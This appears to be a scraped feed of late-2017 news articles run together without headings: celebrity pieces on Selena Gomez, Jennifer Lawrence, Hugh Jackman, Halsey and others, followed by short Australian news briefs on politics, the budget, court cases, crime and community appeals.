And on Tuesday, Selena Gomez stepped out solo in Los Angeles for a Pilates session.

Three days earlier, Mandy Teefey took to Instagram in memory of her other daughter, Scarlett, who she lost on December 17, 2011 due to a miscarriage.

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Low key: Selena Gomez stepped out solo in Los Angeles for a Pilates session on Tuesday

For her workout session, Selena kept it simple in a fitted black jacket with matching leggings, adding large framed sunglasses.

The former Disney star styled her blonde dyed locks pulled back into a low bun, opting to keep her face free of makeup.

Mandy penned the note on the anniversary of her miscarriage: 'Thank you to all the fans who honored our Scarlett yesterday.'

The 41-year-old 13 Reasons Why executive producer, wrote on her Instagram account on Saturday: 'Dec 17 will never be the same, but we decide to celebrate her by writing her letters on red balloons and releasing them. Now the 17th is intertwined with the wrap of S2,' referring to season two of 13 Reasons Why.

Flashback: Three days earlier, Mandy Teefey took to Instagram in memory of other daughter, Scarlett, who she lost in 2011 due to a miscarriage; Mandy pictured with husband Brian Teefey while pregnant with Scarlett

Keeping it low key: For her workout session, Selena kept it simple in a fitted black jacket with matching leggings, adding large framed sunglasses

Busy star: The former Disney star styled her blonde dyed locks pulled back into a low bun, opting to keep her face free of makeup

Adding: 'So, she was there in spirit as always. A moms love for their children is pretty fierce. In order of my girls, Selena, Scarlett and Gracie.'

Mandy then spoke about her 13 Reasons Why cast and crew; she wrote: 'Family is what matters, blood or not. #family13 made me smile and feel loved when so needed and they didn't know.'

Concluding: 'Then, I came home to Brian and Gracie to send our love to Scarlett. Fans, I want you to know you are family because I have a huge family and you are the only ones who remember! XO forever.'

Mandy is married to Brian Teefey; they wed in 2006.

Out and about: Selena showed off her svelte figure in the form fitting bottoms

Casual: The Heart Wants What It Wants singer donned white sneakers

Love: Mandy, who is married to Brian Teefey, continued: 'Dec 17 will never be the same, but we decide to celebrate her by writing her letters on red balloons and releasing them; Mandy pictured holding Selena as a baby

After her miscarriage of Scarlett in 2011, Mandy gave birth to a daughter named Gracie on June 12, 2013.

She was previously married to Selena's dad, Ricardo Joel Gomez.

The touching post comes after TMZ reported that Mandy was taken to a hospital last week after getting in a 'heated' conversation with Selena about her reuniting with on-off ex Justin Bieber.

Blast from the past: After her miscarriage of Scarlett in 2011, Mandy gave birth to a daughter named Gracie on June 12, 2013; Selena pictured with Mandy while pregnant with daughter Graci

The 41-year-old 13 Reasons Why executive producer wrote on the anniversary of her death: 'Thank you to all the fans who honored our Scarlett yesterday;' seen with Selena Gomez in March at the 13 Reasons Why premiere
Jennifer Lawrence got leggy in a sheer white-lace 'Silhouette 62' gown for Christian Dior's new Cruise 2018 campaign shot by photographer Stas Komarovski, which is available in boutiques.

Despite having humble Kentucky roots, the 27-year-old Oscar winner has been the flawless face of the sophisticated French luxury label as far back as 2012.

Designer Maria Grazia Chiuri felt the Jimmy Kimmel Live guest host evoked a 'Californian vibe' for her new collection featuring 'artisanal details and rich desert colors.'

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Available in boutiques: Jennifer Lawrence got leggy in a sheer white-lace 'Silhouette 62' gown for Christian Dior's new Cruise 2018 campaign shot by photographer Stas Komarovski

In one sunny shot, Jennifer modeled the brand's canvas bracelet and 'DiorSoReal California edition' sunglasses.

'[My personal life] is actually pretty normal,' Lawrence told Oprah Winfrey for THR this month.

'I drove myself to the laser hair removal today. (Laughter.) I have always been a homebody. My social life has always been very boring: I sit around outside my house with my friends and drink wine, and that hasn't really changed. I don't really like to go out.'

The Passengers actress - who's not dating Brad Pitt - has been single since splitting with her Mother! director Darren Aronofsky in October after one year together.

All-American: Despite having humble Kentucky roots, the 27-year-old Oscar winner has been the flawless face of the sophisticated French luxury label as far back as 2012

Yee-haw! Designer Maria Grazia Chiuri felt the Jimmy Kimmel Live guest host evoked a 'Californian vibe' for her new collection featuring 'artisanal details and rich desert colors'

'My social life has always been very boring': In one sunny shot, Jennifer modeled the brand's canvas bracelet and 'DiorSoReal California edition' sunglasses

Last week, the X-Men: Apocalypse stunner signed on to produce and star in Call Me By Your Name director Luca Guadagnino's 1830-set Icelandic crime-drama Burial Rites - according to Variety.

Jennifer will next play Russian ballerina-turned-spy Dominika Egorova in Francis Lawrence's thriller Red Sparrow - hitting US/UK theaters March 2 - alongside Joel Edgerton, Mary-Louise Parker, and Jeremy Irons.

'Red Sparrow was sexual, and I haven't done anything sexy or sexual,' Lawrence said of the project.

'I've been afraid of that since 2014, when I got my [nude] pictures hacked. I just thought, "I'll never do that again. I'll never share that part of myself ever since it got shared against my will." And then when I said yes to Red Sparrow, I felt I was taking something back.'

Next gig! Last week, the Mother! actress signed on to produce and star in Call Me By Your Name director Luca Guadagnino's (M) 1830-set Icelandic crime-drama Burial Rites
She became a first-time mother less than a year ago.

And doting mom Irina Shayk lavished attention on her daughter Lea De Seine as the pair were spotted leaving a Mommy And Me class in Santa Monica on Tuesday.

The model, 31, cuddled and carried her nine-month-old little girl in her arms as she approached her car.

That's her girl! Doting mother Irina Shayk lavished attention on her daughter Lea De Seine while leaving a mommy and me class in Santa Monica on Tuesday

Irina was dressed to impress in her grey ankle boots and stylish yet sporty track suit.

She had a chic baby blue purse slung over her shoulder and scraped her locks back into a low ponytail.

Meanwhile, Lea's proud dad Bradley Cooper was spotted out in New York City.

The Silver Linings Playbook actor was bundled up from head-to-toe in his green beanie, black jacket, jeans, and trainers.

Brrr! Bradley Cooper was bundled up from head-to-toe in his green beanie, black jacket, jeans, and trainers as he stepped out in New York on Tuesday

Strike a pose: She's done modelling for the Italian lingerie company Intimissimi and Riccardo Tisci's collection with Nike since returning back to work since giving birth

Bradley recently moved into Irina's apartment in Manhattan's West Village.

The catwalk queen splits her time between their place in NYC, and Los Angeles.

Irina and Bradley welcomed little Lea on March 21, and the catwalk queen has returned to working as a model.

She's done modelling work for the Italian lingerie company Intimissimi and Riccardo Tisci's collection with Nike.
She's the leading lady of Sunrise, who has met a number of Hollywood stars during her time on the show.

And on Wednesday, Samantha Armytage was no doubt the envy of many when she hugged Hugh Jackman, 49, while the hunk promoted his latest movie on the breakfast program.

Hugh joined co-stars Zac Efron and Zendaya, thrilling screaming fans who were eagerly waiting outside of the studio.

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You can't blame her! Samantha Armytage cuddles Hollywood hunk Hugh Jackman as he and The Greatest Showman cast appear on Sunrise

That's nice: Samantha and co-host David 'Kochie' Koch, 61, took their guests outside to mingle with the crowd

Samantha and co-host David 'Kochie' Koch, 61, took their guests outside to mingle with the crowd, with the stars posing for selfies with their admirers.

At one point, Samantha took Hugh to meet his 'number one fan', Nanna Mary.

The woman - who said she had posters of Hugh in her room at her nursing home - was overcome when she got to hug the star.

Sweet moment: Samantha took Hugh to meet his 'number one fan' Nanna Mary

Sweet: The woman - who said she had posters of Hugh in her room at her nursing home - was overcome when she got to hug the star

In good company: Zac and Zendaya are pictured among the Sunrise fanfare

'The nurses agree with me, that you're the most perfect man on god's earth, how does that feel?' she gushed.

She was soon gifted two tickets to the Australian premiere of The Greatest Showman on Wednesday evening.

On the day, Samantha looked chic in a bright red figure-hugging dress.

Casual: Hugh looked casual in a grey T-shirt and trousers

Greeting fans: Hugh is seen taking selfies with fans

Happy: Hugh was in high spirits on the day

Hugh looked casual in a grey T-shirt and trousers, while Zac wore a black top and trousers.

Zendaya looked stylish in a white blouse and a high-waisted green and yellow floral skirt.

The Greatest Showman is based on the story of P.T Barnum, an American showman, with Hugh playing the famous man.

Nice and bright: Zendaya looked stylish in a white blouse and a high-waisted green and yellow floral skirt

New gig: The Greatest Showman is based on the story of P.T Barnum, an American showman, with Hugh playing the famous man

Award winner? The biopic will compete for the Motion Picture Comedy/Musical and the Original Song award at the Golden Globes next year

The biopic will compete for the Motion Picture Comedy/Musical and the Original Song award at the Golden Globes next year.

Hugh revealed this week that he turned down the role of James Bond and went against the advice of his doctor to get his new film made.

Speaking with The Sun, the 49-year-old said his doctor advised him not to sing in the musical as it might split the stitches he had received in his nose after he underwent surgery to remove skin cancers.

Passion: Hugh revealed this week that he turned down the role of James Bond and went against the advice of his doctor to get the new film made

'My doctor had said "do not sing, you've just had 80 stitches in your nose. They really could split apart, you could get an infection", which I'd had before in a similar operation', Hugh told the tabloid.

'So I was like, "Don't worry I'm not going to risk that, I'm just going to speak it and someone else will sing it"'.

However, Hugh conceded he got swept up in the moment, belting out the musical's tunes and defying doctor's orders.

'The emotion of the song and the moment took over me,' he confessed.
The day after breaking her right foot, Halsey hobbled in and out of the Times Square Studios on crutches for her appearance on Good Morning America Tuesday morning.

The 23-year-old songstress confirmed on Twitter that she fractured her foot shortly after telling Fifth Harmony to 'break a leg' at the Y100 Jingle Ball concert Sunday night in Florida.

35 minutes after her injury, the two-time Grammy nominee - who boasts 15.6M social media followers - wound up in the hospital getting an X-ray, and she shared a snap on her Insta-stories.

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On the mend! The day after breaking her right foot, Halsey hobbled in and out of the Times Square Studios on crutches for her appearance on Good Morning America Tuesday morning

Halsey (born Ashley Frangipane) turned up at the ABC morning talk show in a black cast, frilly white top tucked into a matching mini-skirt selected by stylist Maeve Reilly.

Hairstylist Lacy Redway and her assistant Quilla braided the biracial, bisexual beauty's pixie locks into a waist-length plaited hairdo.

Close behind was the New Jersey native's collaborator-turned-boyfriend G-Eazy - who's 'obsessed with her' - wearing a head-to-toe black ensemble.

Halsey ditched her crutches and managed to stand - albeit stationary - through their performance of Him And I, the second single off the 28-year-old rapper's third studio album The Beautiful and Damned.

Oops! The 23-year-old songstress confirmed on Twitter that she fractured her foot shortly after telling Fifth Harmony to 'break a leg' at the Y100 Jingle Ball concert Sunday in Florida

'LOL f***': 35 minutes after her injury, the two-time Grammy nominee wound up in the hospital getting an X-ray, and she shared a snap on her Insta-stories

Glam: Halsey (born Ashley Frangipane) turned up at the ABC morning talk show in a black cast, frilly white top tucked into a matching mini-skirt selected by stylist Maeve Reilly

She does her own make-up: Hairstylist Lacy Redway and her assistant Quilla braided the biracial, bisexual beauty's pixie locks into a waist-length plaited hairdo

Hip-hop honey: Close behind was the New Jersey native's collaborator-turned-boyfriend G-Eazy - who's 'obsessed with her' - wearing a head-to-toe black ensemble

Last week, the couple three months' romantic duet nabbed the No. 21 spot on the Billboard Hot 100 and currently holds the No. 20 spot on iTunes.

'It's interesting dating your co-worker and working together with them in new ways every single time. So you know, to share this stage today was a new experience and an incredible opportunity,' G-Eazy (born Gerald Gillum) told GMA.

'We both are pretty intense. We both are a little bit crazy. And you know, that energy that you hear in the song is the energy that was there when we were bouncing ideas off of each other. You know, as we're writing it, as we're making it, as we're putting it together.

Trooper: Halsey ditched her crutches and managed to stand - albeit stationary - through their performance of Him And I, the second single off the 28-year-old rapper's third studio album The Beautiful and Damned

Making beautiful music together: Last week, the couple three months' romantic duet nabbed the No. 21 spot on the Billboard Hot 100 and currently holds the No. 20 spot on iTunes

G-Eazy (born Gerald Gillum) told GMA: 'It's interesting dating your co-worker and working together with them in new ways every single time. So you know, to share this stage today was a new experience and an incredible opportunity'

And last Thursday, Halsey gushed that she 'loved' and was 'so proud of' the 6ft4in NoCal native, writing on Instagram: 'I will ride for you till the end of time!'

'We're very quick. When an idea is alive, we have to go in and record it right then and there because you might miss it and that excitement of an idea coming to life is a really cool thing that we both share.'

And last Thursday, Halsey gushed that she 'loved' and was 'so proud of' the 6ft4in NoCal native, writing on Instagram: 'I will ride for you till the end of time!'

The outspoken feminist previously romanced her Badlands producer, Lido (born Peder Losnegard), while the No Limit star ended his three-month fling with Lana Del Rey in July.

'I can't believe this!' The New Americana hitmaker's 'biggest dream came true' when she landed the musical guest gig on the January 13 episode of NBC's Saturday Night Live

Headed Down Under! Halsey will then kick off the second installment of her Hopeless Fountain Kingdom World Tour on April 19 at New Zealand's Spark Arena in Auckland

Will they survive separate tours? Meanwhile, G-Eazy will next perform this Saturday at the Valley Ciew Casino Center in San Diego

The New Americana hitmaker's 'biggest dream came true' when she landed the musical guest gig on the January 13 episode of NBC's Saturday Night Live alongside host Sam Rockwell.

Halsey will then kick off the second installment of her Hopeless Fountain Kingdom World Tour on April 19 at New Zealand's Spark Arena in Auckland with opener Kehlani.

Meanwhile, G-Eazy will next perform this Saturday at the Valley Ciew Casino Center in San Diego.
She has not been shy about flaunting her bikini body since recently dropping six kilograms.

But despite her incredible physique - and already flawless forehead - Kiralee 'Kiki' Morris still felt the need to make further tweaks to her appearance on Tuesday as she had more Botox.

The 30-year-old shared a video of herself at Sydney's Artiste Plastic Surgery that showed her with black markers on her forehead - around her eyebrows - where she would be injected.

Like she needs any more! Former Bachelor star Kiki Morris gets MORE Botox despite already having a flawless forehead

She shared the videos with her 76,300 Instagram followers, but it's not the first time the star has let fans in on her enhancements.

Back in June Kiki posted footage of herself being injected with muscles relaxants in her jaw.

'So it's no secret I use muscle relaxants in my jaw for medical reasons - grinding teeth in my sleep!!' she wrote in the caption accompanying the video.

Candid: The 30-year-old shared a video of herself at Sydney's Artiste Plastic Surgery that showed her with black markers on her forehead and around her eyebrows

'But this additional treatment is a lil something extra, and I bet you are wondering what a Nefertiti Lift is? And does it hurt?' Kiki continued.

'Dr Maz really knows his stuff, I actually learnt so much today during my visit and felt like I was in the most capable hands... I'll be updating you on the results as the take affect.'

Conversing with fans in the comments section, she also revealed that the results were 'incredible'.

Tweaks: Despite her incredible physique - and already flawless forehead - Kiralee 'Kiki' Morris still felt the need to make changes to her appearance on Tuesday as she had more botox

Slimmer face and taught jawline but best of all, My jaw clenching and grinding in my sleep is fixed. It was so bad I broke teeth.'

Kiki has been quite prolific on Instagram of late.

She also shared a picture of herself in a hot pink bikini to the platform on Tuesday.

Proudly flaunting her incredible physique, the saucy snap featured only her body.

Saucy for summer! Kiki Morris (pictured) once again proudly flaunted her incredible physique and rib cage tattoo, wearing a hot pink bikini as she posted to Instagram on Tuesday

It also showed off her tattoo, with words from late American author Henry van Dyke.

'Time is too slow for those who wait, too swift for those who fear, too long for those who grieve, too short for those who rejoice, but for those who love, time is eternity,' it read.

In her caption she spruiked her tanning oil for giving her a bronzed glow before revealing to fans she was headed off to New York City in the coming weeks.

'The sun gods worked their magic!': This comes after the former Bachelor star stunned her legions of followers in a tiny blue bikini as she enjoys some time at home days after getting a Brazilian butt lift

Fans of the bikini babe loved her scintillating snaps, including one who commented: 'You wear that bikini perfectly.'

While another complimented on her trim and toned figure: 'Rig!'

This comes after she recently showed off her six kilogram weight loss on Bar Beach in Newcastle over the weekend.

Wearing a tiny ruffled blue bikini with g-string bottoms, the stunning brunette posed for a photo that highlighted some of her most enviable assets.

Wow! Wearing a tiny ruffled blue bikini with g-string bottoms, the stunning brunette posed for a photo that highlighted some of her most enviable assets

'Shape that booty!' Kiki recently took her fans behind the scenes at one of her Brazilian butt lifting sessions at the Beautylicious By Sophie clinic

'My home town beach, feeling so grounded being home.. it was cloudy the entire drive and then the Sun God's worked their magic,' she wrote in the caption on Instagram.

But nobody was looking directly into the sun, only focusing on Kiki as she swept her wet locks back from her face.

The reality TV star previously took her fans behind the scenes of one of her Brazilian butt lifting sessions at the Beautylicious By Sophie clinic on Thursday.

She shared a short clip showing a probing tool being rolled up and down her pert posterior during the appointment.
She's the Bachelor Australia breakout star who made headlines across the world after she found love with fellow contestant Megan Marx.

And Tiffany Scanlon, 31, has hinted that she's set to return to the dating show franchise by starring in Bachelor: Winter Games next year.

After taking a break from social media for the past few weeks, Tiffany finally returned to Instagram on Wednesday to drop a major hint about the exciting adventure she enjoyed during her time away.

'I feel like I've been in Narnia!' Tiffany Scanlon, 31, has hinted that she's set to return to the dating show franchise by starring in Bachelor: Winter Games next year

Sharing a throwback photo of herself modelling a bikini at a Philippines beach, Tiffany wrote: 'I'm baaaaaccckkkk! I feel like I've been in Narnia.'

'Readjusting to real time will take awhile but what a surreal, amazing, emotional, impactful experience I had and I cannot wait to share it with you all in Feb 2018!' she continued.

'Where have I been? It's a secret for now but no it was not Bachelor in Paradise Australia, it was something far cooler! Both figuratively and literally (it was freezing ) Now to get back this tan I had when I was in the Philippines,' she said.

'It was something far cooler!' Tiffany returned to Instagram to drop a major hint about where she had been for the past few weeks

Winter is coming! Fans immediately began speculating that the blonde beauty's post was alluding to her rumoured role on Bachelor: Winter Games, which was being filmed in Vermont at the same time that Tiffany took her mystery sabbatical

Fans immediately began speculating that the blonde beauty's post was alluding to her rumoured role on Bachelor: Winter Games, which was being filmed in Vermont at the same time that Tiffany took her mystery sabbatical.

The US-based reality show is also set for release in February next year - the month Tiffany said she would spill the news of her secret project.

Tiffany was also spotted among the crowd at the Bachelor: Winter Games opening ceremony.

It all adds up! Adding fuel to the fire, the US-based reality show is also set for release in February next year- the same time Tiffany is set to spill the news of her secret project

A new addition to the matchmaking series, Bachelor: Winter Games will pit multiple international ex-contestants against each other in a series of sport challenges.

Speaking to The Hollywood Reporter earlier this year, American host Chris Harrison confirmed that he will be leading the show, dashing the hopes of those who thought Australian host Osher Gunsberg would have been a perfect choice.

'It's going to be very different. It's going to be fun. I'm very excited,' Chris told the publication.

While no Australian castmembers have been confirmed to appear on the show, a slew of international contestants have already been named in recent months.

Among them us New Zealand Bachelor star Jordan Mauger as well as a slew of American Bachelor and Bachelorette stars, including Peter Kraus, Ashley Laconetti, Dean Unglert, Luke Pell, Eric Bigger and Kristina Schulman.
Christian Bale thinks America would be a better place if there was more diversity among those in positions of power.

The Welsh actor, who now lives in the United States with his family, spoke out about the issue during an appearance at AOL Build in New York on Monday to promote his new movie Hostiles.

'Our culture will be so much richer the day that we stop saying 'Hey it's all white dudes who are running things,'' he said. 'Whether that be Hollywood, whether that be Washington, you know.'

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Sharing his opinion: Christian Bale said Monday during an appearance at AOL Build that America would be a better place if there was more diversity among those in positions of power

Bale, 43, said one of the reasons he wanted to live in America is that he considers it a nation of inclusion and he fell in love with that.

'It's the reason why I moved here,' he said. 'It's the reason why my kids have American accents.'

The former Batman star explained that greater diversity at the top would enrich America culturally.

'We're going to get, in Hollywood, so much better films and so much more interesting stories being told and America will become the America that the rest of the world sees it as, that makes it unique  that we recognize makes this such a beautiful, brilliant country,' he said.

'Our culture will be so much richer the day that we stop saying 'Hey it's all white dudes who are running things,'' he said. 'Whether that be Hollywood, whether that be Washington, you know'

Family man: Bale, 43, said one of the reasons he wanted to live in America and raise his children in the US is that he considers it a nation of inclusion and he fell in love with that. Pictured with wife Sibi at the LA premiere of Hostiles on December 14

In Hostiles, Bale plays an army captain tasked with escorting a dying Cheyenne war chief, played by Wes Studi, back to his tribal homeland in 1892.

Along the way they encounter a widow played by Rosamund Pike whose family has been massacred by Comanche and who joins them on the journey through hostile territory.

He was joined at AOL Build by his two co-stars where they chatted about making the Western that opens in theatres on Friday.

Talking up his movie: Bale was making a promotional appearance to promote the film Hostiles which opens Friday and was joned by his co-stars Wes Studi and Rosamund Pike
South Australia's latest group of school leavers have been urged to consider taking on a trade or traineeship if they don't plan to go to university.

Business SA says apprenticeships and traineeships are viable career options as Australia faces a skills shortage across a range of industries.

Sharyn Davies, from Apprenticeship Support Australia, which is administered by Business SA, says a high score in Year 12 is not a guarantee to future success.

"It's more important for young people to follow their passions," she said.

"When we are doing something that aligns with our strengths, skills and passions we have a higher level of wellbeing and are more likely to succeed in building a successful career."

Thousands of Year 12 students get their results on Tuesday with their scores available online from about 8.30am.
The RSPCA is urging Queenslanders not to buy pets as a surprise present this Christmas.

RSPCA Queensland spokesman Michael Beatty said staff and volunteers would already be spending the festive season looking after hundreds of unwanted and abandoned domestic animals.

"All animals need permanent, happy homes where their owners have made a decision to commit to that animal for the term of its natural life," he said in a statement.

"If the children are not up to the responsibility then it's preferable to give them socks or jocks, rather than Sox or Jock."

Mr Beatty urged families who were looking to bring a pet into the family to consider adopting one.

"We suggest people visit an RSPCA shelter and make a lasting difference, not only for this Christmas but all through the year," he said.
A meeting of state and federal water ministers in Albury comes as the Murray-Darling Basin plan is at crisis point, South Australia's peak environmental group says.

The ministers come together on Tuesday for the first time since allegations were raised of widespread water theft across the basin.

South Australia has announced a royal commission into the allegations and also the integrity of the plan itself which is designed to deliver environmental flows and ensure the river system remains a viable resource.

"The Basin Plan is at crisis point," Conservation SA' chief executive Craig Wilkins said on Monday.

"It's essential the water ministers recommit to delivering genuine water back to the river to ensure its long-term health."

South Australian Water Minister Ian Hunter said he expected Tuesday's meeting to look at ways of ensuring the promised 450 gigalitres of extra environmental flows could be delivered.

"That will be the key outcome of the meeting," he said.

Mr Hunter said he would also brief interstate ministers on SA's planned royal commission, which is due to begin its year-long investigation early next year, and would welcome their participation.

"It will be up for them to decide what will be in their state's best interests," he said.
Treasurer Scott Morrison has been able to deliver an improved budget picture of smaller deficits and reduced debt thanks to stronger company profits and a boost from a buoyant labour market.

Handing down the mid-year review on Monday, Mr Morrison forecast a budget deficit of $23.6 billion for this financial year compared to the previous estimate of $29.4 billion made in May.

Further ahead, he was also sticking with a forecast for a surplus by mid-2021, and larger than previously thought at $10.2 billion.

But opposition parties have condemned the $2.2 billion in university funding cuts included in the report.

Mr Morrison also flagged personal income tax cuts would be announced in the May budget.

However, National Australia Bank markets chief economist Ivan Colhoun says the forecasts do not appear to allow room for significant income tax cuts.

Wage growth forecasts over the next four years were also trimmed, although Mr Colhorn thought "on current trends still seem somewhat high".

While the forecast for wage growth in 2020/21 was cut to 3.5 per cent from 3.75 per cent, the present rate of two per cent is only just above a record low with little sign of immediate improvement.

But credit rating agency Moody's Investors Service was quick to give the review the thumbs-up, keeping Australia on a triple A-rating with a stable outlook.
Attorney-General George Brandis is reportedly preparing to pull off a Brexit and quit the Senate to become the next UK High Commissioner.

The decision to dispatch him to London to replace Alexander Downer is expected to be confirmed through a cabinet reshuffle by Malcolm Turnbull as early as Tuesday.

Ministers Christian Porter, Marise Payne and Michaelia Cash are said to be among those short-listed to take over as attorney-general.

Labor has blasted the long-rumoured move, arguing diplomatic posts should not be used to solve "cabinet staffing problems".

The prime minister is also understood to be considering returning former minister Sussan Ley to the ministry.

Liberal MP Tim Wilson could not confirm Senator Brandis' move but conceded there would be a reshuffle this week.

"The reality is governments always need a bit of a refresh mid-term," he told Sky News on Monday.

New deputy Nationals leader Bridget McKenzie is expected to be promoted to cabinet in the shake-up, to take the spot left by Fiona Nash, who was booted out for being a dual citizen.

Scott Ryan's switch to Senate president, after his predecessor Stephen Parry was also disqualified, has created another cabinet vacancy.

There are also questions over the ministerial future of Arthur Sinodinos, who is battling illness.
A 17-year-old youth has been charged after allegedly breaking into a woman's car in a Brisbane car park and threatening her with a knife.

The woman drove out of the Inala car park with teen inside on Monday evening before stopping nearby and escaping, police said.

The Harristown teen took off in the car and was later arrested alongside with a 15-year-old female passenger.

The 17-year-old was charged with several offences including one count each of armed robbery, deprivation of liberty and demanding property with the intent to steal.

He was denied bail to appear in the Richlands Magistrates Court on Tuesday. The girl was charged with unlawful use of a motor vehicle.
In the spirit of Christmas giving, NSW residents are being "desperately" urged to roll up their sleeves over the holiday period, as the Australian Red Cross braces for a critical drop in life-saving blood donations.

More than 700 donations are needed across the state over Christmas and New Year to avoid a shortage of products, including platelets, which are vital to preventing internal bleeding in cancer patients.

With a shelf life of only five days, a constant flow of donors is needed year round.

The Blood Service launched its Christmas and New Year Blood Blitz on Tuesday in a bid to curb the usual holiday shortage.

"The need for blood doesn't take a break," Blood Service spokeswoman Jemma Falkenmire said.

"Cancer patients are the biggest users of donated blood in Australia; it's critical to helping them through chemotherapy.

"With one in three of us needing donated blood in our lifetime, the life you help save this festive season could even be that of a loved one."
The Bishop of Broken Bay has promised his community that a paedophile priest released from a NSW prison won't be allowed to return to his former parish.

Catholic priest Finian Egan was released from Long Bay Prison on Tuesday morning after serving four years of an eight-year sentence for raping and abusing young girls for nearly three decades, Corrective Services confirmed to AAP.

On Monday, the Bishop of Broken Bay the Most Reverend Peter Comensoli shared the conditions placed on Egan, in an online letter to reassure the people of his parish.

"This development will occasion different reactions and emotions for many of you, even distress, especially for those who may have known Finian, and most particularly for those who have been offended against and hurt by him," he wrote.

While the 83-year-old Egan has already been permanently removed from the ministry, the Bishop revealed that he had also placed additional restrictions on his movements.

The elderly priest is never to exercise any priestly ministry, refer to himself as a priest, seek accommodation in places where he had previously been a priest or present to any person or parish site in the Diocese of Broken Bay, according to the Bishop's letter.

"My restrictions will be clearly articulated to Finian with the expectation that he will comply during this time," the Bishop wrote.

"I would ask that you join me in keeping all those who have been so devastatingly impacted by the betrayal of innocence in your prayers."

Egan was found guilty of rape and seven counts of indecent assault by a jury in 2013. He was sentenced to eight years in jail with a non-parole period of four years.
Israel's prime minister has promised to take a fresh look at extraditing a former Melbourne teacher wanted in Australia for allegedly molesting her pupils.

Victorian premier Daniel Andrews says when he was recently in Israel he asked Prime Minister Benjamin Netanyahu about the case of Malka Leifer, who allegedly molested girls in ultra-Orthodox Jewish communities before she fled to the Middle East.

"The prime minister concluded that he would have a fresh look at it and he would do so without bias, and I'm very confident that is exactly what will happen," Mr Andrews told reporters on Tuesday.
The loss of Darren Chester from federal cabinet would be a blow to Victoria as the state tries to get its fair share of funding, Premier Daniel Andrews says.

The Victorian Nationals MP is expected to get the boot from cabinet on Tuesday, losing his infrastructure and transport portfolios.

"He's always been professional, he's always been about getting an important outcome, not squabbling," Mr Andrews told reporters on Tuesday.

"It would be a further blow if we didn't have somebody from Victoria sitting in the cabinet advocating (for infrastructure spending)."

The Labor premier says the latest figures show Victoria gets less than 10 per cent of federal infrastructure funding, despite having a quarter of Australia's population and the nation's fastest-growing economy.

"I wouldn't like to think we could go any lower," he said.

"But that's really a matter for [Prime Minister] Malcolm Turnbull. Just how little does he want to spend in Victoria?"

Mr Andrews also says the state is pushing through new building projects so quickly it's harder to find workers.

"We have so much on at the moment that we are facing a few workforce shortages. We are really pushing things as hard as we can, but what a great problem to have," he said.
A young man accused of assaulting a Sydney resident with a chainsaw claims he and his mates were trying to visit a brothel when they became involved in a fight with locals.

Justin Clarke and Jayson Nichols, both 21, appeared separately before Newtown Local Court on Tuesday after the violent altercation on an Annandale street left a 63-year-old man with lacerations.

A third man, also in his 20s, remains on the run, NSW Police say.

The brawl, caught on CCTV and also filmed by bystanders, began when the trio walked up two flights of stairs and entered a home on Monday evening, a police prosecutor told the court.

The men say they thought they were entering a brothel but only had a Coles Myer gift card with them to pay for any sex, the prosecutor added.

They were confronted by the residents and a fight broke out which spilled onto the street.

Footage allegedly shows Clarke, wielding an electric chainsaw - which wasn't switched on - striking out at the residents of the home while neighbours attempt to fight him and Nichols off.

The prosecutor called it an "extremely serious" and "terrifying assault" while their legal aid lawyer said Clarke and Nichols had been forced to defend themselves from the angry residents.

But the magistrate agreed with police that the men had a "history of violence" and were a risk to the community if released.

She refused their requests for bail adding jail time was "more than likely" if they were found guilty.

Clarke, with a graze on his left cheek, left the courtroom in silence, while Nichols shouted at the magistrate as he was led from the dock.

They are expected to reappear at Central Local Court on February 13.
The president of the Australian Medical Association has dismissed a push for doctors to stop using the word "obese" as a "crazy" idea.

New guidelines from NSW Health instruct doctors to use positive language when discussing the weight of their patients.

The guidelines encourage doctors to stop using words like "skinny" and "morbidly obese".

NSW Health's Executive Director Centre for Population Health Jo Mitchell told News Corp that such terms can be stigmatising for overweight adults and children.

Instead terms such as "well above a healthy weight" should be spoken by doctors, according to the guidelines.

The term obese is based on Body Mass Index - a physical measurement used to assess a person's total amount of body fat. It is calculated by dividing weight in kilograms (kg) by the square of your height in metres (m2).

AMA President Dr Michael Gannon says obese is a useful medical term, although acknowledged it isn't perfect.

"It doesn't take into account the fact that people with significant muscle mass might be called obese and they're actually probably in a fairly healthy situation. But overall, it's a useful metric," Dr Gannon told Macquarie Radio Network on Tuesday.

"None of it's perfect, and the reality is it is a medical definition. Now, it's not the first time that NSW Health has come up with a crazy idea like this."

Dr Gannon, however, did say there is a need for doctors to be sensitive when dealing with patients battling weight issues.

"I think the use of the word 'fat' is a bit outdated. We don't want people to get upset in their interactions with doctors, but practising medicine's not a popularity contest," he said.

"You have to give uncomfortable news to patients, you have to come up with treatment or management plans they're not necessarily happy about, and this directive flies in the face of common sense."
Changes to Western Australia's tenancy laws will make leaving violent relationships easier and provide greater support for victims, the state government says.

The McGowan government is proposing to amend the Residential Tenancies and Residential Long-stay Tenants (Parks) Act to give victims better choices, including the ability to terminate a lease without penalty and remove their abuser's names from tenancy agreements.

WA has the nations' second highest rate of physical and sexual violence against women, and victims represent nearly half of those who seek help for homelessness, Prevention of Family and Domestic Violence Minister Simone McGurk said.
A Gold Coast mother will spend at least the next four years behind bars for hitting her young son Tyrell Cobb in the stomach so hard he died.

Heidi Strbak maintained her innocence in the Brisbane Supreme Court on Monday as she was sentenced to nine years' jail for pleading guilty to manslaughter.

The 34-year-old will be eligible for parole in October 2021.

"I have not caused the injuries that I am being blamed for and I believe that it is a mistake, an injustice," Strbak said.

Tyrell died on May 24, 2009 after two separate blows to his abdomen caused internal bleeding and the leaking of his stomach contents, leading to peritonitis.

Justice Peter Applegarth found Strbak likely punched four-year-old Tyrell in the stomach in frustration then chose not to seek medical help to avoid a child protection investigation into his "constellation of injuries".

"The last hours of his life must have been miserable and painful," he said.

Justice Applegarth said it was easy for Strbak to be perceived as "some kind of monster" but her case was only the "tip of an iceberg".

"The tragic fact is that there are tens of thousands of young mothers who can be frustrated and distressed and verbally abuse their infants or physically abuse them," he said.

"Unless we as a community learn from this terrible case, it's inevitable that there will be another case like it."
Hundreds of thousands of native fish have been released into a man-made Victorian waterway in a bid to attract anglers.

Western Victoria's Rocklands Reservoir, on the edge of the Grampians National Park, is now home to an extra 130,000 golden perch and 95,000 Murray cod fingerlings following a release on Tuesday.

A summer allocation of 415,000 young perch and cod is part of a five-year plan to transform the reservoir into one of Victoria's premier native fisheries, and to boost the local economy.
Two more men have been charged over a major school fire on the Gold Coast last year.

Police this week charged a 19-year-old Tallebudgera man with two counts of arson and a 20-year-old Coolangatta man on one count of arson over the blaze which ripped through the drama building of St Andrews Lutheran College at Tallebudgera on April 26.

